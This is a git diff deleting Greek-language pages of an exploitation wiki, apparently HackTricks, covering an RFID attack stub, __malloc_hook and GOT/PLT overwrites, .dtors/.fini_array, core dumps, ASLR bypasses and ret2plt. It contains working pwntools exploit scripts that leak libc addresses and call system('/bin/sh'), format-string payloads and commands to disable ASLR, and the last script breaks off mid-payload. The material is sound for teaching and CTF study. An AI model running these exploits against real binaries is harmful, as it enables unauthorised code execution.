ελέγχου πρόσβασης που βασίζονται στο UID για να **αυθεντικοποιούν και να παρέχουν πρόσβαση**. Μερικές φορές αυτό συμβαίνει **ακόμη** και όταν τα RFID tags **υποστηρίζουν κρυπτογραφία**. Αυτή η **κακή χρήση** τα κατεβάζει στο επίπεδο των ανόητων **κά cards 125 kHz** όσον αφορά την **ασφάλεια**. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην μπορούν να ανοίγουν πόρτες με την εφαρμογή πληρωμής τους. - -- **Χαμηλή εμβέλεια** — οι κάρτες υψηλής συχνότητας έχουν σχεδιαστεί ειδικά ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό ήταν με ειδικά κατασκευασμένους αναγνώστες μεγάλης εμβέλειας. -- **Προηγμένα πρωτόκολλα** — οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Πράγμα που με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων κ.λπ. -- **Υψηλή ασφάλεια** — οι κάρτες επαφής υψηλής συχνότητας δεν υστερούν σε τίποτα σε σχέση με τις έξυπνες κάρτες. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρούς αλγόριθμους όπως το AES και υλοποιούν ασύμμετρη κρυπτογραφία. - -### Επίθεση - -Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**: - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-nfc.md -{{#endref}} - -Ή χρησιμοποιώντας το **proxmark**: - -{{#ref}} -../todo/radio-hacking/proxmark-3.md -{{#endref}} - -## Αναφορές - -- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md deleted file mode 100644 index c99e8acbc..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md +++ /dev/null @@ -1 +0,0 @@ -# Αυθαίρετη Γραφή 2 Εκτέλεση diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md deleted file mode 100644 index bc4023b11..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ /dev/null @@ -1,25 +0,0 @@ -# AW2Exec - \_\_malloc_hook - -{{#include ../../../banners/hacktricks-training.md}} - -## **Malloc Hook** - -Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται η `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί η `malloc`, το **One Gadget θα κληθεί**. - -Για να καλέσετε τη malloc, είναι δυνατόν να περιμένετε να την καλέσει το πρόγραμμα ή με **καλώντας `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς την `libc` να καλέσει τη malloc για να τα δεσμεύσει στο heap. - -Περισσότερες πληροφορίες σχετικά με το One Gadget στο: - -{{#ref}} -../one-gadget.md -{{#endref}} - -> [!CAUTION] -> Σημειώστε ότι οι hooks είναι **απενεργοποιημένες για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - -## References - -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) -- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md deleted file mode 100644 index fe9c54925..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ /dev/null @@ -1,64 +0,0 @@ -# AW2Exec - GOT/PLT - -{{#include ../../../banners/hacktricks-training.md}} - -## **Βασικές Πληροφορίες** - -### **GOT: Παγκόσμιος Πίνακας Μεταθέσεων** - -Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν. - -Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που είναι αποθηκευμένη στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης. - -### **PLT: Πίνακας Σύνδεσης Διαδικασιών** - -Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** λειτουργεί στενά με τον GOT και χρησιμεύει ως αναπήδηση για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στον GOT. - -**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής επιλυθεί. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου. - -## Λάβετε Εκτέλεση - -### Ελέγξτε τον GOT - -Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`** - -![](<../../../images/image (619).png>) - -Παρατηρήστε πώς μετά την **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που είναι στον **GOT**: `gef➤ x/20x 0xADDR_GOT` - -![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) - -Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε **`got`** για να δείτε τον πίνακα got: - -![](<../../../images/image (621).png>) - -### GOT2Exec - -Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα. - -Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system). - -Αν η **`system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση. - -Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`** - -## **Ένα Gadget** - -{{#ref}} -../one-gadget.md -{{#endref}} - -## **Προστασίες** - -Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτό το είδος τεχνικής επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και κάνοντάς τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό: - -{{#ref}} -../common-binary-protections-and-bypasses/relro.md -{{#endref}} - -## Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md deleted file mode 100644 index 64a6fb495..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ /dev/null @@ -1,41 +0,0 @@ -# AWS2Exec - .dtors & .fini_array - -{{#include ../../../banners/hacktricks-training.md}} - -## .dtors - -> [!CAUTION] -> Σήμερα είναι πολύ **περίεργο να βρείτε ένα δυαδικό αρχείο με τμήμα .dtors**. - -Οι καταστροφείς είναι συναρτήσεις που **εκτελούνται πριν το πρόγραμμα τελειώσει** (μετά την επιστροφή της συνάρτησης `main`).\ -Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στο **`.dtors`** τμήμα του δυαδικού αρχείου και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** σε ένα **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει. - -Αποκτήστε τη διεύθυνση αυτού του τμήματος με: -```bash -objdump -s -j .dtors /exec -rabin -s /exec | grep “__DTOR” -``` -Συνήθως θα βρείτε τους **DTOR** δείκτες **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν δείτε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία καταχωρημένη συνάρτηση**. Έτσι, **επικαλύψτε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε. - -> [!WARNING] -> Φυσικά, πρώτα πρέπει να βρείτε μια **θέση για να αποθηκεύσετε το shellcode** προκειμένου να το καλέσετε αργότερα. - -## **.fini_array** - -Ουσιαστικά, αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα τελειώσει, όπως το **`.dtors`**. Αυτό είναι ενδιαφέρον αν μπορείτε να καλέσετε το **shellcode απλά πηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να επιστρέψετε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**. -```bash -objdump -s -j .fini_array ./greeting - -./greeting: file format elf32-i386 - -Contents of section .fini_array: -8049934 a0850408 - -#Put your address in 0x8049934 -``` -Σημειώστε ότι αυτό **δεν θα** **δημιουργήσει** έναν **αιώνιο βρόχο** επειδή όταν επιστρέψετε στο κύριο, το canary θα το παρατηρήσει, το τέλος της στοίβας μπορεί να έχει διαφθαρεί και η συνάρτηση δεν θα κληθεί ξανά. Έτσι, με αυτό θα μπορείτε να **έχετε 1 περισσότερη εκτέλεση** της ευπάθειας. - -> [!CAUTION] -> Σημειώστε ότι με [Full RELRO](../common-binary-protections-and-bypasses/relro.md), η ενότητα `.fini_array` είναι **μόνο για ανάγνωση**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md deleted file mode 100644 index 695d58ba3..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md +++ /dev/null @@ -1,29 +0,0 @@ -# Κοινές Δεσμεύσεις Δυαδικών Αρχείων - -{{#include ../../../banners/hacktricks-training.md}} - -## Ενεργοποίηση Αρχείων Core - -**Αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν μια διαδικασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της κατεστραμμένης διαδικασίας τη στιγμή της τερματισής της, συμπεριλαμβανομένης της μνήμης της διαδικασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά πολύτιμη για την αποσφαλμάτωση και την κατανόηση του λόγου που συνέβη η κατάρρευση. - -### **Ενεργοποίηση Δημιουργίας Core Dump** - -Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή, δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή `ulimit` (σε bash ή παρόμοιες θήκες) ή να ρυθμίσετε ρυθμίσεις σε επίπεδο συστήματος. - -- **Χρησιμοποιώντας το ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία θήκης να δημιουργεί αρχεία core απεριόριστου μεγέθους. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο κατά την επανεκκίνηση ή σε νέες συνεδρίες. -```bash -ulimit -c unlimited -``` -- **Μόνιμη Διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να συμπεριλάβετε μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία core απεριόριστου μεγέθους χωρίς να χρειάζεται να ορίσουν το ulimit χειροκίνητα στις συνεδρίες τους. -```markdown -- soft core unlimited -``` -### **Ανάλυση Αρχείων Core με GDB** - -Για να αναλύσετε ένα αρχείο core, μπορείτε να χρησιμοποιήσετε εργαλεία αποσφαλμάτωσης όπως το GDB (GNU Debugger). Υποθέτοντας ότι έχετε ένα εκτελέσιμο που παρήγαγε μια απόθεση core και το αρχείο core ονομάζεται `core_file`, μπορείτε να ξεκινήσετε την ανάλυση με: -```bash -gdb /path/to/executable /path/to/core_file -``` -Αυτή η εντολή φορτώνει το εκτελέσιμο και το core αρχείο στο GDB, επιτρέποντάς σας να εξετάσετε την κατάσταση του προγράμματος τη στιγμή της κατάρρευσης. Μπορείτε να χρησιμοποιήσετε τις εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε τις μεταβλητές και να κατανοήσετε την αιτία της κατάρρευσης. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md deleted file mode 100644 index 75cfd62eb..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ /dev/null @@ -1,157 +0,0 @@ -# ASLR - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης. - -### **Checking ASLR Status** - -Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο `/proc/sys/kernel/randomize_va_space`. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται: - -- **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά. -- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες. -- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία. - -Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή: -```bash -cat /proc/sys/kernel/randomize_va_space -``` -### **Απενεργοποίηση ASLR** - -Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για να το απενεργοποιήσετε: -```bash -echo 0 | sudo tee /proc/sys/kernel/randomize_va_space -``` -Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με: -```bash -setarch `arch` -R ./bin args -setarch `uname -m` -R ./bin args -``` -### **Ενεργοποίηση ASLR** - -Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή: -```bash -echo 2 | sudo tee /proc/sys/kernel/randomize_va_space -``` -### **Επιμονή Μετά από Επανεκκινήσεις** - -Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή: -```tsconfig -kernel.randomize_va_space=2 # Enable ASLR -# or -kernel.randomize_va_space=0 # Disable ASLR -``` -Μετά την επεξεργασία του `/etc/sysctl.conf`, εφαρμόστε τις αλλαγές με: -```bash -sudo sysctl -p -``` -Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR σας παραμένουν κατά τη διάρκεια των επανεκκινήσεων. - -## **Παρακάμψεις** - -### 32bit brute-forcing - -Το PaX χωρίζει τον χώρο διευθύνσεων της διαδικασίας σε **3 ομάδες**: - -- **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις. -- **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`. -- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**. - -Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση. - -#### Ιδέες brute-force: - -- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσει μια **μεγάλη NOP sled πριν από το shellcode**, θα μπορούσατε απλώς να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**. -- Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**. -- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit): -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **brute-force την διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. - -> [!TIP] -> Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν είναι δυνατό. - -### Τοπικές Πληροφορίες (`/proc/[pid]/stat`) - -Το αρχείο **`/proc/[pid]/stat`** μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως: - -- **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω με το **TEXT** του δυαδικού -- **startstack**: Η διεύθυνση της αρχής της **στοίβας** -- **start_data** & **end_data**: Διευθύνσεις πάνω και κάτω όπου είναι το **BSS** -- **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP** -- **arg_start** & **arg_end**: Διευθύνσεις πάνω και κάτω όπου είναι τα **cli arguments**. -- **env_start** &**env_end**: Διευθύνσεις πάνω και κάτω όπου είναι οι **env variables**. - -Επομένως, αν ο επιτιθέμενος είναι στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από τις ακατέργαστες παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση**. - -> [!TIP] -> Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat` - -### Έχοντας μια διαρροή - -- **Η πρόκληση είναι να δώσετε μια διαρροή** - -Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτή η εκμετάλλευση παραδείγματος είναι αποσπασμένη από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες): -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvuntil('at: ') -system_leak = int(p.recvline(), 16) - -libc.address = system_leak - libc.sym['system'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -0x0, # return address -next(libc.search(b'/bin/sh')) -) - -p.sendline(payload) - -p.interactive() -``` -- **ret2plt** - -Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος: - -{{#ref}} -ret2plt.md -{{#endref}} - -- **Format Strings Arbitrary Read** - -Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): -```python -payload = p32(elf.got['puts']) # p64() if 64-bit -payload += b'|' -payload += b'%3$s' # The third parameter points at the start of the buffer - -# this part is only relevant if you need to call the main function again - -payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer -payload += p32(elf.symbols['main']) -``` -Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το Format Strings arbitrary read στο: - -{{#ref}} -../../format-strings/ -{{#endref}} - -### Ret2ret & Ret2pop - -Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα: - -{{#ref}} -../../stack-overflow/ret2ret.md -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md deleted file mode 100644 index f3403e34a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ /dev/null @@ -1,78 +0,0 @@ -# Ret2plt - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -Ο στόχος αυτής της τεχνικής είναι να **διαρρεύσει μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσει να παρακαμφθεί το ASLR. Αυτό συμβαίνει επειδή, αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από τη libc, μπορείτε στη συνέχεια να **υπολογίσετε πού είναι η βάση της `libc`** και να υπολογίσετε offsets για να αποκτήσετε πρόσβαση σε άλλες συναρτήσεις όπως **`system`**. - -Αυτό μπορεί να γίνει με ένα payload `pwntools` όπως ([**από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): -```python -# 32-bit ret2plt -payload = flat( -b'A' * padding, -elf.plt['puts'], -elf.symbols['main'], -elf.got['puts'] -) - -# 64-bit -payload = flat( -b'A' * padding, -POP_RDI, -elf.got['puts'] -elf.plt['puts'], -elf.symbols['main'] -) -``` -Σημειώστε πώς **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση του `puts` που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που το `puts` εκτυπώνει την εγγραφή του GOT για το `puts`, αυτή η **εγγραφή θα περιέχει τη ακριβή διεύθυνση του `puts` στη μνήμη**. - -Επίσης, σημειώστε πώς η διεύθυνση του `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν το `puts` ολοκληρώνει την εκτέλεσή του, το **binary καλεί ξανά το `main` αντί να τερματίσει** (έτσι η διαρροή διεύθυνσης θα συνεχίσει να είναι έγκυρη). - -> [!CAUTION] -> Σημειώστε πώς για να λειτουργήσει αυτό, το **binary δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** προκειμένου να γνωρίζετε τη διεύθυνση του PLT, GOT και `main`. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE. - -Μπορείτε να βρείτε ένα [**πλήρες παράδειγμα αυτής της παράκαμψης εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Αυτή ήταν η τελική εκμετάλλευση από αυτό το παράδειγμα: -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvline() - -payload = flat( -'A' * 32, -elf.plt['puts'], -elf.sym['main'], -elf.got['puts'] -) - -p.sendline(payload) - -puts_leak = u32(p.recv(4)) -p.recvlines(2) - -libc.address = puts_leak - libc.sym['puts'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -libc.sym['exit'], 